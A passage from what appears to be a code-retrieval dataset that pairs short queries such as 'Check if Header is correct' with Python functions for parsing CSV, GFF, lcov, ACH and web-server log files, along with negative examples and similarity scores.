tags in their description strings\\\"\\n \\\"'bpcal', 'gaincal', 'fluxcal' and 'polcal' respectively\\\"\\n )\\n group = parser.add_argument_group(\\n title=\\\"calibrator observation strategy\\\", description=description\\n )\\n group.add_argument(\\n \\\"--primary-cal-duration\\\",\\n type=float,\\n default=300, # sec\\n help=\\\"minimum duration to track primary calibrators tagged as \\\"\\n \\\"'bpcal', 'fluxcal' or 'polcal' [sec]\\\")\\n group.add_argument(\\n \\\"--primary-cal-cadence\\\",\\n type=float,\\n help=\\\"minimum observation interval between primary calibrators [sec]\\\")\\n group.add_argument(\\n \\\"--secondary-cal-duration\\\",\\n type=float,\\n default=60, # sec\\n help=\\\"minimum duration to track gain calibrator, 'gaincal' [sec]\\\")\\n return parser\",\n \"def main():\\n\\n handler = CSVDownloader('download.csv')\\n handler.start()\",\n \"def main(csvfile, dbfile, verbose=False):\\n CONN = sqlite3.connect(dbfile)\\n cursor = CONN.cursor()\\n create_schema(cursor)\\n process_data(cursor, csvfile, verbose=verbose)\\n CONN.commit()\\n CONN.close()\",\n \"def run(file_name, first_year, last_year):\\r\\n\\twith open(file_name) as file:\\r\\n\\t\\treader = csv.DictReader(file)\\r\\n\\r\\n\\t\\t#Counts amount of reports per state.\\r\\n\\t\\t#counter = sc.ReportCounter()\\r\\n\\r\\n\\t\\t#Allows the csv to be iterable more than once.\\r\\n\\t\\trows = list(reader)\\r\\n\\r\\n\\t\\tlats, lons = [], []\\r\\n\\t\\tfor year in range(first_year, last_year+1):\\r\\n\\t\\t\\tfor row in rows:\\r\\n\\t\\t\\t\\t#counter.update_count(row['state'])\\r\\n\\t\\t\\t\\tif row['year'] == str(year):\\r\\n\\t\\t\\t\\t\\tlatitude, longitude = get_lat_and_long(row)\\r\\n\\t\\t\\t\\t\\tlats.append(float(latitude))\\r\\n\\t\\t\\t\\t\\tlons.append(float(longitude))\\r\\n\\t\\t\\t\\r\\n\\t\\t\\tplot(lats, lons, year)\",\n \"def load_segment(self):\\n \\n data = pd.read_csv(self.metadata['file_info']['path'], header = [0, 1], index_col = 0, parse_dates=True)\\n \\n # Check cycle length against 5 minute duration minimum\\n cycle_len_secs = (data.index[-1] - data.index[0]).total_seconds()\\n self.data = data\\n \\n diff = data.index.to_series().diff()[1:2]\\n s_freq = 1000000/diff[0].microseconds\\n\\n self.metadata['file_info']['start_time'] = str(data.index[0])\\n self.metadata['analysis_info'] = {'s_freq': s_freq, 'cycle_len_secs': cycle_len_secs}\\n self.s_freq = s_freq\\n\\n print('EEG successfully imported.')\",\n \"def test_parse_invalid_file(self):\\n with pytest.raises(ParserError):\\n self.parser.parse(\\\"invalid csv\\\")\",\n \"def pipeline_runner():\\n # file_parser() # take raw data file and extract columns of interest. remove contaminants.\\n entry_parser() # remove duplicates, faulty lines and format the whole thing normally.\\n lfq_parser() # replace 0s in lfq reading with random small numbers for t testing purposes\\n # open Rstudio and do T testing there\\n ROutputFormatter() # reformat R output to something more appealing, add FDR and fold change values\",\n \"def run(self,infilename): \\n ### initizlize the analysis\\n self.init_analysis(infilename)\\n ### run the analysis\\n self.run_analysis()\\n ### store selected results\\n self.store_results()\\n return\",\n \"def parse(self, fp):\\n\\n # create the plex scanner for fp\\n self.create_scanner(fp)\\n\\n # call parsing logic\\n self.stmt_list()\\n print('Parsing successful!')\",\n \"def CSV_Load_File( self, infilename ):\\n print( 'Loading \\\"{}\\\"'.format(infilename) )\\n IN = open( infilename, 'r' )\\n standname = None\\n laststand = None\\n for L in IN:\\n if( L[0:9] == 'Site/Plot' ): continue\\n col = L.split( ',' )\\n standname = col[0]\\n year = int(col[1])\\n #if( re.search( '-', standname ) != None ):\\n # loc = re.search( '-', standname )\\n # year = int(standname[loc.start()+1:])\\n # standname = standname[0:loc.start()]\\n #print standname, year\\n if( (standname != None ) & (standname != laststand) ): self.Data.Stand[standname] = StandData( standname )\\n (treeno, species, dbh, ht, live, status, cclass, tpa) = \\\\\\n (int(col[2]), col[3], float(col[4]), float(col[5]), col[6], col[7], int(float(col[8])), float(col[9]))\\n if( OPT['d'] ):\\n if( dbh > 10.0 ): dbh *= 1.25\\n if( dbh > 15.0 ): dbh *= 1.50\\n for t in range( 1, int( math.ceil( tpa ))+1, 1 ):\\n ntree = len( self.Data.Stand[standname].Tree ) + 1\\n self.Data.Stand[standname].Tree[ntree] = TreeData( species, TreeNumber=treeno )\\n self.Data.Stand[standname].Tree[ntree].Year[year] = MeasurementData( dbh, ht, '', 1, live, status, cclass )\\n laststand = standname\\n IN.close()\",\n \"def usage():\",\n \"def usage():\",\n \"def main():\\n\\t\\n\\tfilename = optParse()\\n\\t\\n\\ttry:\\n\\t\\tinput = loadFile(filename)\\n\\texcept IOError, (errno, msg):\\n\\t\\tprint >>sys.stderr, msg\\n\\t\\tsys.exit(-1)\\n\\t\\n\\toutput = parse(input)\\n\\tprint output\",\n \"def main():\\n\\n (options, args) = parse_options(sys.argv)\\n\\n iterator = GFFParser.GFFAddingIterator() \\n examiner = GFFParser.GFFExaminer()\\n\\n exon_map = dict()\\n\\n id_dict = examiner.available_limits(options.anno)['gff_id']\\n intron_lists = dict()\\n\\n ### collect all available sources from gff-file\\n source_dict = examiner.available_limits(options.anno)['gff_source_type']\\n taken_sources = set()\\n #types = ['gene', 'mRNA', 'exon', 'CDS']\\n types = ['exon']\\n\\n ### parse only for exons and let the GFFparser \\n ### infer the respective parents (otherwise doubled entries occured)\\n ### we sanitize the structure later on anyways\\n for key in [source[0] for source in source_dict.keys() if source[1] in types]:\\n taken_sources.add(key)\\n\\n ### try different type, if sources are empty \\n if len(taken_sources) == 0:\\n types = ['CDS']\\n for key in [source[0] for source in source_dict.keys() if source[1] in types]:\\n taken_sources.add(key)\\n\\n ### print taken_sources\\n if len(taken_sources) == 0:\\n print >> sys.stderr, 'No suitable sources found!'\\n sys.exit(-1)\\n\\n ### only show available sources - if neccessary\\n if options.show_sources:\\n print 'Parsed file %s\\\\n' % options.anno\\n print 'Following sources are available:\\\\n'\\n for source in taken_sources:\\n print source \\n print '\\\\nUse option -s to specify a comma-separated list of sources (-s source1,source2,source3), otherwise all sources are taken'\\n sys.exit(0)\\n\\n if options.sources != '':\\n user_sources = set(options.sources.split(','))\\n taken_sources = taken_sources.intersection(user_sources)\\n if len(taken_sources) == 0:\\n print >> sys.stderr, 'The specified sources do not match any of the available sources - Please use option -S to get a list of available sources'\\n sys.exit(-1)\\n\\n if options.verbose:\\n print \\\"take sources %s\\\" % str(list(taken_sources))\\n\\n ### build up gff-parsing filter\\n gff_sources = []\\n for source in taken_sources:\\n gff_sources.extend(zip([source] * len(types), types))\\n\\n ### parse gff-file\\n for idx in id_dict.keys():\\n print 'parsing chromosome %s' % idx\\n if len(gff_sources) > 0:\\n trans_dict = iterator.get_all_features(options.anno, {'gff_source_type':gff_sources, 'gff_id':idx})\\n else:\\n trans_dict = iterator.get_all_features(options.anno, {'gff_id':idx})\\n ### since we parse only one chromosome, this loop is evaluated only once\\n for chrm in trans_dict.keys():\\n ### verify/sanitize the created dictionairy\\n fix_structure(trans_dict[chrm])\\n intron_lists[chrm] = dict()\\n for gene in trans_dict[chrm].features:\\n for trans in gene.sub_features:\\n if trans.type == 'exon':\\n print \\\"WARNING: Exon on transcript level:\\\"\\n print trans\\n print 'will continue\\\\n'\\n continue\\n elif len(trans.sub_features) > 1: ### at least two exons for one intron ...\\n strand = trans.sub_features[0].strand\\n contig_list = [(trans.sub_features[i].location.nofuzzy_start, trans.sub_features[i].location.nofuzzy_end) for i in range(len(trans.sub_features))]\\n contig_list.sort(lambda u, v:u[0]-v[0])\\n for exon in range(len(contig_list) - 1):\\n ### update intron lists\\n if contig_list[exon][1] - contig_list[exon + 1][0] == 0:\\n continue\\n try:\\n assert(contig_list[exon][1] < contig_list[exon + 1][0])\\n except AssertionError:\\n print >> sys.stderr, 'exon_1 %i, exon_2 %i' % (contig_list[exon][1], contig_list[exon + 1][0]) \\n print >> sys.stderr, contig_list[exon]\\n print >> sys.stderr, contig_list[exon+1]\\n print >> sys.stderr, exon\\n sys.exit(-1)\\n ### for now strand information is only dummy\\n intron_lists[chrm][(0, contig_list[exon][1], contig_list[exon + 1][0])] = strand\\n \\n ### update exon map\\n for exon in range(len(contig_list)):\\n if not exon_map.has_key(chrm):\\n exon_map[chrm] = dict()\\n\\n if not exon_map[chrm].has_key(trans.id):\\n exon_map[chrm][trans.id] = dict()\\n ### we assume, that an exon cannot occurr twice in the same transcript!\\n ### the value in the dict is a binary encoding, if the left/right end is intronic 10 = 2 means, 5' end is intronic\\n if len(contig_list) == 1:\\n exon_map[chrm][trans.id][contig_list[exon]] = 0 ### 00 -> should never occurr\\n elif exon == 0:\\n exon_map[chrm][trans.id][contig_list[exon]] = 2 ### 10\\n elif exon == len(contig_list) - 1:\\n exon_map[chrm][trans.id][contig_list[exon]] = 1 ### 01\\n else:\\n exon_map[chrm][trans.id][contig_list[exon]] = 3 ### 11 \\n\\n outfile = open(options.outfile, 'w')\\n cPickle.dump(intron_lists, outfile)\\n outfile.close()\\n \\n outfile = open(options.outfile + '.' + 'cov', 'w')\\n cPickle.dump(exon_map, outfile)\\n outfile.close()\",\n \"def parse_csvfile(self, filepath=None):\\n designfilename = self.Filename\\n if filepath is None:\\n filepath = self.Filepath\\n else:\\n self.Filepath = filepath\\n self.Filename = os.path.dirname(filepath)\\n if not filepath:\\n print(\\\"No filepath provided, aborting..:!\\\")\\n return False\\n dataset, filefields = self._read_csvfile_from_file(self.Filepath)\\n self.FileFields = filefields\\n self.Dataset = dataset\\n\\n if self.Verboselevel > 6:\\n print(\\\"Dataset from file: \\\" + designfilename)\\n print(self.Dataset)\\n # Find the key specifying the module... (first 'module', then if no 'module' field, search for 'color').\\n self.make_fieldsmap()\\n\\n # Arrange the data for easier access:\\n # Produce whole design set:\\n self.Designset = set([row[self.Fields['sequence']] for row in self.Dataset])\\n # Prepare a dict with an empty set for every moduleclass:\\n self.Modulesets = dict([(row[self.Fields['moduleclass']], set()) for row in self.Dataset])\\n self.OligoModules = dict()\\n self.OligoInfo = dict() # Map sequence back to info from file/row.\\n for row in self.Dataset:\\n self.Modulesets[row[self.Fields['moduleclass']]].add(row[self.Fields['sequence']])\\n # It should also be easy to find the module of a particular sequence without looping further:\\n if row[self.Fields['sequence']] in self.OligoModules:\\n print(\\\"WARNING: sequence \\\" + row[self.Fields['sequence']] + \\\" is present multiple times.\\\")\\n if self.OligoModules[row[self.Fields['sequence']]] != row[self.Fields['moduleclass']]:\\n print(\\\"--> AND THE SEQUENCE IS PRESENT IN TWO DIFFERENT MODULES, \\\" + self.OligoModules[row[self.Fields['sequence']]] + \\\" and \\\" + row[self.Fields['moduleclass']])\\n self.OligoModules[row[self.Fields['sequence']]] = row[self.Fields['moduleclass']]\\n self.OligoInfo[row[self.Fields['sequence']]] = row\\n if self.Verboselevel > 5:\\n print(\\\"Design and module-sets for designfile: \\\" + designfilename)\\n print(self.Designset)\\n print(self.Modulesets)\\n\\n return self\",\n \"def parseFile(self, filename):\\n self.__filename = filename\\n\\n if os.path.isfile(filename) == False:\\n self.LogError(\\\"Unable to open input file \\\" + str(filename))\\n raise IOError\\n\\n self.__file = open(filename, 'r')\\n\\n while True:\\n string = self.__file.readline()\\n if string == \\\"\\\":\\n break\\n\\n if string.upper().find(\\\"[SYSTEM]\\\") != -1:\\n #print string.upper()\\n self.__parseSystem()\\n\\n if string.upper().find(\\\"[GRASS]\\\") != -1:\\n #print string.upper()\\n self.__parseGrass()\\n\\n if string.upper().find(\\\"[COMPLEXDATA]\\\") != -1:\\n #print string.upper()\\n self.complexDataList.append(ComplexData(self.__file))\\n\\n if string.upper().find(\\\"[COMPLEXOUTPUT]\\\") != -1:\\n #print string.upper()\\n self.complexOutputList.append(ComplexOutput(self.__file))\\n\\n if string.upper().find(\\\"[LITERALDATA]\\\") != -1:\\n #print string.upper()\\n LD = LiteralData(self.__file)\\n if LD.identifier == 'multi_output':\\n self.LogWarning(\\\"multi_output: \\\" + LD.value.upper())\\n if LD.value.upper() == 'TRUE':\\n self.multiOutput = True\\n else:\\n self.literalDataList.append(LD)\",\n \"def __init__(self, lines, verbosity = 0, enabled_optimisations = None):\\n \\n self.verbosity = verbosity\\n self.logger = logging.getLogger('Optimiser')\\n if enabled_optimisations == None:\\n self.enabled_optimisations = 'abcdefghijkl'\\n else:\\n self.enabled_optimisations = enabled_optimisations\\n\\n self.stats = {'cp':0, 'cf':0, 'dc':0}\\n\\n self.logger.info('parsing assembly')\\n # Parse assembly and store in flat.\\n self.flat = []\\n for line in lines:\\n if not line.strip():\\n # We skip empty lines. We could also tell yacc to put them in a Raw.\\n # TODO: skippet yacc dit niet sowieso?\\n continue\\n self.flat.append(parser.parse(line))\\n self.flat = parse_instr.parse(self.flat)\",\n \"def parse(self):\\n\\n coverage_data = {\\n 'packages': {},\\n 'summary': {'lines-total': 0, 'lines-covered': 0,\\n 'branches-total': 0, 'branches-covered': 0},\\n 'timestamp': str(int(time.time()))\\n }\\n package = None\\n current_file = None\\n file_lines_total = 0\\n file_lines_covered = 0\\n file_lines = {}\\n file_methods = {}\\n file_branches_total = 0\\n file_branches_covered = 0\\n\\n for line in self.lcov_data.split('\\\\n'):\\n if line.strip() == 'end_of_record':\\n if current_file is not None:\\n package_dict = coverage_data['packages'][package]\\n package_dict['lines-total'] += file_lines_total\\n package_dict['lines-covered'] += file_lines_covered\\n package_dict['branches-total'] += file_branches_total\\n package_dict['branches-covered'] += file_branches_covered\\n file_dict = package_dict['classes'][current_file]\\n file_dict['lines-total'] = file_lines_total\\n file_dict['lines-covered'] = file_lines_covered\\n file_dict['lines'] = dict(file_lines)\\n file_dict['methods'] = dict(file_methods)\\n file_dict['branches-total'] = file_branches_total\\n file_dict['branches-covered'] = file_branches_covered\\n coverage_data['summary']['lines-total'] += file_lines_total\\n coverage_data['summary']['lines-covered'] += file_lines_covered\\n coverage_data['summary']['branches-total'] += file_branches_total\\n coverage_data['summary']['branches-covered'] += file_branches_covered\\n\\n line_parts = line.split(':')\\n input_type = line_parts[0]\\n\\n if input_type == 'SF':\\n # Get file name\\n file_name = line_parts[-1].strip()\\n relative_file_name = os.path.relpath(file_name, self.base_dir)\\n package = '.'.join(relative_file_name.split(os.path.sep)[0:-1])\\n class_name = file_name.split(os.path.sep)[-1]\\n if package not in coverage_data['packages']:\\n coverage_data['packages'][package] = {\\n 'classes': {}, 'lines-total': 0, 'lines-covered': 0,\\n 'branches-total': 0, 'branches-covered': 0\\n }\\n coverage_data['packages'][package]['classes'][\\n relative_file_name] = {\\n 'name': class_name, 'lines': {}, 'lines-total': 0,\\n 'lines-covered': 0, 'branches-total': 0,\\n 'branches-covered': 0\\n }\\n package = package\\n current_file = relative_file_name\\n file_lines_total = 0\\n file_lines_covered = 0\\n file_lines.clear()\\n file_methods.clear()\\n file_branches_total = 0\\n file_branches_covered = 0\\n elif input_type == 'DA':\\n # DA:2,0\\n (line_number, line_hits) = line_parts[-1].strip().split(',')\\n line_number = int(line_number)\\n if line_number not in file_lines:\\n file_lines[line_number] = {\\n 'branch': 'false', 'branches-total': 0,\\n 'branches-covered': 0\\n }\\n file_lines[line_number]['hits'] = line_hits\\n # Increment lines total/covered for class and package\\n if int(line_hits) > 0:\\n file_lines_covered += 1\\n file_lines_total += 1\\n elif input_type == 'BRDA':\\n # BRDA:1,1,2,0\\n (line_number, block_number, branch_number, branch_hits) = line_parts[-1].strip().split(',')\\n line_number = int(line_number)\\n if line_number not in file_lines:\\n file_lines[line_number] = {\\n 'branch': 'true', 'branches-total': 0,\\n 'branches-covered': 0, 'hits': 0\\n }\\n file_lines[line_number]['branch'] = 'true'\\n file_lines[line_number]['branches-total'] += 1\\n file_branches_total += 1\\n if branch_hits != '-' and int(branch_hits) > 0:\\n file_lines[line_number]['branches-covered'] += 1\\n file_branches_covered += 1\\n elif input_type == 'BRF':\\n file_branches_total = int(line_parts[1])\\n elif input_type == 'BRH':\\n file_branches_covered = int(line_parts[1])\\n elif input_type == 'FN':\\n # FN:5,(anonymous_1)\\n function_name = line_parts[-1].strip().split(',')[1]\\n function_name = self.demangle_function_name(function_name)\\n file_methods[function_name] = '0'\\n elif input_type == 'FNDA':\\n # FNDA:0,(anonymous_1)\\n (function_hits, function_name) = line_parts[-1].strip().split(',')\\n function_name = self.demangle_function_name(function_name)\\n file_methods[function_name] = function_hits\\n\\n # Exclude packages\\n excluded = [x for x in coverage_data['packages'] for e in self.excludes\\n if re.match(e, x)]\\n for package in excluded:\\n del coverage_data['packages'][package]\\n\\n # Compute line coverage rates\\n for package_data in list(coverage_data['packages'].values()):\\n package_data['line-rate'] = self._percent(\\n package_data['lines-total'],\\n package_data['lines-covered'])\\n package_data['branch-rate'] = self._percent(\\n package_data['branches-total'],\\n package_data['branches-covered'])\\n\\n return coverage_data\",\n \"def _parse_ach_file(self, contents):\\n file_length = len(contents)\\n\\n for index in range(0, file_length, self.LINE_LENGTH):\\n line = contents[index:index + self.LINE_LENGTH]\\n\\n if line.startswith('1'):\\n self._read_header(line)\\n elif line.startswith('5'):\\n self._read_batch_header(line)\\n elif line.startswith('6'):\\n self._read_entry_detail(line)\\n elif line.startswith('7'):\\n self._read_addenda_record(line)\\n elif line.startswith('8'):\\n self._read_batch_control_record(line)\\n elif line.startswith('9'):\\n if line == '9' * 94:\\n continue\\n self._read_file_control_record(line)\",\n \"def handle_csv(self):\\n try:\\n reader = csv.reader(open(self.options.datafile, 'r'))\\n except IOError:\\n errormsg(_('Cannot read \\\"{}\\\"'.format(self.options.datafile)))\\n raise Exception(_('Cannot read \\\"{}\\\"'.format(self.options.datafile)))\\n if self.options.var_type == 'name':\\n try:\\n self.header = reader.next()\\n except StopIteration:\\n errormsg(_('Data file \\\"{}\\\" contains no data'.format(\\n self.options.datafile)))\\n raise Exception(_('Data file \\\"{}\\\" contains no data'.format(\\n self.options.datafile)))\\n self.data = []\\n for row in reader:\\n self.data.append(row)\",\n \"def _makeParser_extract_CDS() :\\n parser = argparse.ArgumentParser(\\n description = SCRIPT_DESCRIPTION_EXTRACT_CDS)\\n # input files\\n parser.add_argument(\\\"genbank_records\\\", type = str, nargs = \\\"+\\\",\\n help = \\\"Filename(s) for GenBank record(s)\\\")\\n # --hash\\n parser.add_argument(\\\"--hash\\\", metavar = \\\"HASH_ALGORITHM\\\",\\n choices = [\\\"md5\\\", \\\"sha1\\\", \\\"sha224\\\", \\\"sha256\\\", \\\"sha384\\\",\\n \\\"sha512\\\"],\\n default = \\\"md5\\\",\\n help = \\\"Hash algorithm to use for unique sequence signature \\\"\\n \\\"(default md5)\\\")\\n # --unique \\n parser.add_argument(\\\"-u\\\", \\\"--unique\\\", metavar = \\\"UNIQUE_FASTA\\\",\\n type = str, default = None,\\n help = \\\"Filename for unique fasta amino acid sequences\\\")\\n # --outfmt\\n parser.add_argument(\\\"-o\\\", \\\"--outfmt\\\", metavar = \\\"FORMAT\\\",\\n type = str, default = \\\"dscrp,gi,loc,hash,prot\\\",\\n help = \\\"Comma-separated list of output column \\\"\\n \\\"identifiers for summaries. Allowed identifiers are: \\\"\\n \\\"id, name, dscrp, acc, date, gi, orgn, src (record \\\"\\n \\\"attributes) and loc, prot, nuc, prod, gene, hash \\\"\\n \\\"(CDS attributes). Default is dscrp,gi,loc,hash,prot.\\\")\\n # --count\\n parser.add_argument(\\\"-c\\\", \\\"--count\\\", action = \\\"store_true\\\",\\n help = \\\"Count the number of CDS per record instead of \\\"\\n \\\" producing CDS summaries. Cannot be used at the same \\\"\\n \\\"time as --unique.\\\")\\n # --verbose\\n parser.add_argument(\\\"-v\\\", \\\"--verbose\\\", action = \\\"store_true\\\",\\n help = \\\"Send verbose messages to stderr during execution\\\")\\n return parser\",\n \"def main():\\r\\n run_processes('tests.csv', 'labs.csv')\",\n \"def analyze(file,process):\\n readin(file)\\n # inspecting(file, functions)\\n process(file, functions)\",\n \"def get_data(self, csv_file):\\n pass\",\n \"def __init__(self, filename):\\n fd = open(filename, \\\"r\\\")\\n lines = fd.readlines()\\n fd.close()\\n self.__sections = []\\n current_section = AssemblerSection(\\\"text\\\")\\n ii = 0\\n sectionre = re.compile(r'^\\\\s+\\\\.section\\\\s+\\\\\\\"?\\\\.([a-zA-Z0-9_]+)[\\\\.\\\\s]')\\n for ii in lines:\\n match = sectionre.match(ii)\\n if match:\\n self.add_sections(current_section)\\n current_section = AssemblerSection(match.group(1), ii)\\n else:\\n current_section.add_line(ii)\\n if not current_section.empty():\\n self.add_sections(current_section)\\n if is_verbose():\\n section_names = map(lambda x: x.get_name(), self.__sections)\\n print(\\\"Read %i sections in '%s': %s\\\" % (len(self.__sections), filename, \\\", \\\".join(section_names)))\",\n \"def run(self):\\n # Send number of lines to the GUI\\n self.total_count_signal.emit(self.number_of_lines)\\n logging.info(\\\"Total number of lines in file %d\\\" % self.number_of_lines)\\n\\n self.result_string = \\\"\\\"\\n self.token_array = []\\n if self.file_type == settings.APACHE_COMMON:\\n regex = re.compile(settings.APACHE_COMMON_LOG_RE)\\n # Arg 2 should be list\\n self.result_string = settings.APACHE_COMMON_HEADING\\n for i, line in enumerate(self.file):\\n item = regex.match(line)\\n if not item:\\n logging.error(\\n \\\"Couldn't tokenize the following line\\\\n\\\" + line)\\n continue\\n token_object = TokenCommon(item.groups())\\n self.token_array.append(token_object)\\n self.send_result_signal(i, item.groups())\\n\\n elif self.file_type == settings.APACHE_COMBINED:\\n regex = re.compile(settings.APACHE_COMBINED_LOG_RE)\\n self.result_string = settings.APACHE_COMBINED_HEADING\\n for i, line in enumerate(self.file):\\n item = regex.match(line)\\n if not item:\\n logging.error(\\n \\\"Couldn't tokenize the following line\\\\n\\\" + line)\\n continue\\n token_object = TokenCombined(item.groups())\\n self.token_array.append(token_object)\\n self.send_result_signal(i, item.groups())\\n\\n elif self.file_type == settings.SQUID:\\n regex = re.compile(settings.SQUID_LOG_RE)\\n self.result_string = settings.SQUID_HEADING\\n for i, line in enumerate(self.file):\\n item = regex.match(line)\\n if not item:\\n logging.error(\\n \\\"Couldn't tokenize the following line\\\\n\\\" + line)\\n continue\\n token_object = TokenSquid(item.groups())\\n self.token_array.append(token_object)\\n self.send_result_signal(i, item.groups())\\n\\n self.update_progress_signal.emit(\\n self.number_of_lines - 1, self.result_string)\\n self.session.bulk_save_objects(self.token_array)\\n self.session.commit()\\n logging.info(\\\"All tokens inserted into database\\\")\\n settings.Session.remove()\",\n \"def parse(self):\\n logger=self.logger\\n tokenizer=Tokenizer()\\n self.scope=produtil.testing.parsetree.Scope()\\n self.override(self.scope)\\n self.parser=Parser(self.run_mode,logger,self.verbose)\\n self.parser.requested_platform_name=self.platform_name\\n morevars=self.make_vars()\\n with open(self.inloc,'rt') as fileobj:\\n self.parse_result=self.parser.parse(\\n TokenizeFile(tokenizer,fileobj,self.inloc,1),self.scope,\\n unique_id=self.unique_id,morevars=morevars)\",\n \"def __init__(self, filename):\\r\\n self._results = SpecParser(filename).parse()\",\n \"def parse_file(self):\\n with open(self.file_name, 'r', errors='ignore') as log_file:\\n for line in log_file:\\n self.process_line(line)\",\n \"def main():\\n chatfile_name = sys.argv[1]\\n analyze(chatfile_name)\",\n \"def analyze_handler():\\n\\n file_name = csv_file('exercise.csv')\\n with open(file_name) as csvfile:\\n file_reader = csv.reader(csvfile)\\n file_line_cnt = sum(1 for row in file_reader)\\n\\n wrapper = wrap_analyser(analyze, file_name)\\n timer = timeit.timeit(wrapper, number=1)\\n print(file_name)\\n print(f'Line count:\\\\t{file_line_cnt}\\\\tAnalyser ran in:\\\\t{timer}')\",\n \"def loadCSV(input_file):\",\n \"def main():\\n\\n # Check command line arguments\\n arguments = sys.argv[1:]\\n if len(arguments) != 1:\\n print(\\\"Error! One command line argument is required.\\\")\\n sys.exit()\\n\\n else:\\n print(\\\"\\\\nNow opening file...\\\")\\n # Print the path provided and try to open the file for reading\\n path = os.getcwd()+ \\\"/\\\" + arguments[0]\\n print(path) #print path\\n names = Names()\\n devices = Devices(names)\\n network = Network(names, devices)\\n monitors = Monitors(names, devices, network)\\n scanner = Scanner(path, names)\\n parser = Parser(names, devices, network, monitors, scanner)\\n Error.reset()\\n parser.parse_network()\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.58680946","0.584178","0.56904954","0.55948025","0.55103976","0.54529536","0.5447621","0.5420857","0.5396767","0.5378413","0.5375421","0.5359897","0.53025967","0.5297627","0.52868927","0.52581596","0.52294654","0.5224852","0.5216758","0.51756084","0.51752704","0.51541066","0.5153563","0.5129914","0.5121719","0.511627","0.5110112","0.51087254","0.5107346","0.5094554","0.50877655","0.5086096","0.50798887","0.5078937","0.5075182","0.5069761","0.50484204","0.5040705","0.5038564","0.50380176","0.5027815","0.5025988","0.5021486","0.5013447","0.5013447","0.5013248","0.50130033","0.5011048","0.50105315","0.50076586","0.50053716","0.50026584","0.4998639","0.4995909","0.49949798","0.4988856","0.49863058","0.4985065","0.49834022","0.49824896","0.49745548","0.4972432","0.4968845","0.49670306","0.4963051","0.49613705","0.49544722","0.4950621","0.49496838","0.49477932","0.49460793","0.49341828","0.49331817","0.49219403","0.49142426","0.49139","0.49075642","0.4903444","0.4903444","0.49016973","0.4896269","0.48950836","0.48930168","0.48906294","0.4886174","0.48855498","0.48841342","0.4881842","0.48788252","0.4874887","0.48616412","0.4860779","0.4859706","0.48596853","0.4856964","0.4855553","0.4854204","0.48498","0.4842817","0.48388195"],"string":"[\n \"0.58680946\",\n \"0.584178\",\n \"0.56904954\",\n \"0.55948025\",\n \"0.55103976\",\n \"0.54529536\",\n \"0.5447621\",\n \"0.5420857\",\n \"0.5396767\",\n \"0.5378413\",\n \"0.5375421\",\n \"0.5359897\",\n \"0.53025967\",\n \"0.5297627\",\n \"0.52868927\",\n \"0.52581596\",\n \"0.52294654\",\n \"0.5224852\",\n \"0.5216758\",\n \"0.51756084\",\n \"0.51752704\",\n \"0.51541066\",\n \"0.5153563\",\n \"0.5129914\",\n \"0.5121719\",\n \"0.511627\",\n \"0.5110112\",\n \"0.51087254\",\n \"0.5107346\",\n \"0.5094554\",\n \"0.50877655\",\n \"0.5086096\",\n \"0.50798887\",\n \"0.5078937\",\n \"0.5075182\",\n \"0.5069761\",\n \"0.50484204\",\n \"0.5040705\",\n \"0.5038564\",\n \"0.50380176\",\n \"0.5027815\",\n \"0.5025988\",\n \"0.5021486\",\n \"0.5013447\",\n \"0.5013447\",\n \"0.5013248\",\n \"0.50130033\",\n \"0.5011048\",\n \"0.50105315\",\n \"0.50076586\",\n \"0.50053716\",\n \"0.50026584\",\n \"0.4998639\",\n \"0.4995909\",\n \"0.49949798\",\n \"0.4988856\",\n \"0.49863058\",\n \"0.4985065\",\n \"0.49834022\",\n \"0.49824896\",\n \"0.49745548\",\n \"0.4972432\",\n \"0.4968845\",\n \"0.49670306\",\n \"0.4963051\",\n \"0.49613705\",\n \"0.49544722\",\n \"0.4950621\",\n \"0.49496838\",\n \"0.49477932\",\n \"0.49460793\",\n \"0.49341828\",\n \"0.49331817\",\n \"0.49219403\",\n \"0.49142426\",\n \"0.49139\",\n \"0.49075642\",\n \"0.4903444\",\n \"0.4903444\",\n \"0.49016973\",\n \"0.4896269\",\n \"0.48950836\",\n \"0.48930168\",\n \"0.48906294\",\n \"0.4886174\",\n \"0.48855498\",\n \"0.48841342\",\n \"0.4881842\",\n \"0.48788252\",\n \"0.4874887\",\n \"0.48616412\",\n \"0.4860779\",\n \"0.4859706\",\n \"0.48596853\",\n \"0.4856964\",\n \"0.4855553\",\n \"0.4854204\",\n \"0.48498\",\n \"0.4842817\",\n \"0.48388195\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.6263405"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":14470,"cells":{"query":{"kind":"string","value":"Check if Header is correct"},"document":{"kind":"string","value":"def check_valid_csv_header(self, row):\n obj = re.match(re.compile('^Year\\,Month\\,.'),\n ','.join(row))\n if not obj:\n raise Exception(\"Invalid Headers must be `Year` `Month` Check Sample file\")"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def check_header(self, name, value):\r\n if value in self.headers.get(name, ''):\r\n return True\r\n return False","def check_header(self, name, value):\r\n if value in self.headers.get(name, ''):\r\n return True\r\n return False","def test_check_header(self):\r\n\r\n # Default header, should not generate any errors/warnings\r\n header = ['SampleID', 'BarcodeSequence', 'LinkerPrimerSequence',\r\n 'Description']\r\n errors = []\r\n warnings = []\r\n\r\n errors, warnings = check_header(header,\r\n errors,\r\n warnings,\r\n sample_id_ix=0,\r\n desc_ix=3,\r\n bc_ix=1,\r\n linker_primer_ix=2,\r\n added_demultiplex_field=None)\r\n\r\n expected_errors = []\r\n expected_warnings = []\r\n\r\n self.assertEqual(errors, expected_errors)\r\n self.assertEqual(warnings, expected_warnings)","def check_header(self, entry):\n if entry not in self.metadata:\n raise SyntaxError(\"Header entry must be described in the metadata lines. Entry: %s is not in metadata.\" % entry)","def validate_header(self, reply):\n # check message is from my agg to me\n check_equal(reply.header.sender, self.aggregator_uuid, self.logger)\n check_equal(reply.header.recipient, self.common_name, self.logger)\n\n # check that the federation id matches\n check_equal(reply.header.federation_id, self.federation_uuid, self.logger)\n\n # check that we agree on single_col_cert_common_name\n check_equal(reply.header.single_col_cert_common_name, self.single_col_cert_common_name, self.logger)","def _is_header(line):\n line = line.strip()\n if line.startswith('#') or line.startswith('track') or line.startswith(\n 'browser'): # BED header\n return True\n else:\n return False","def _validate_header(self, cleartext_header, decrypted_header):\n import struct\n\n magic_number1 = struct.unpack(\"!I\", 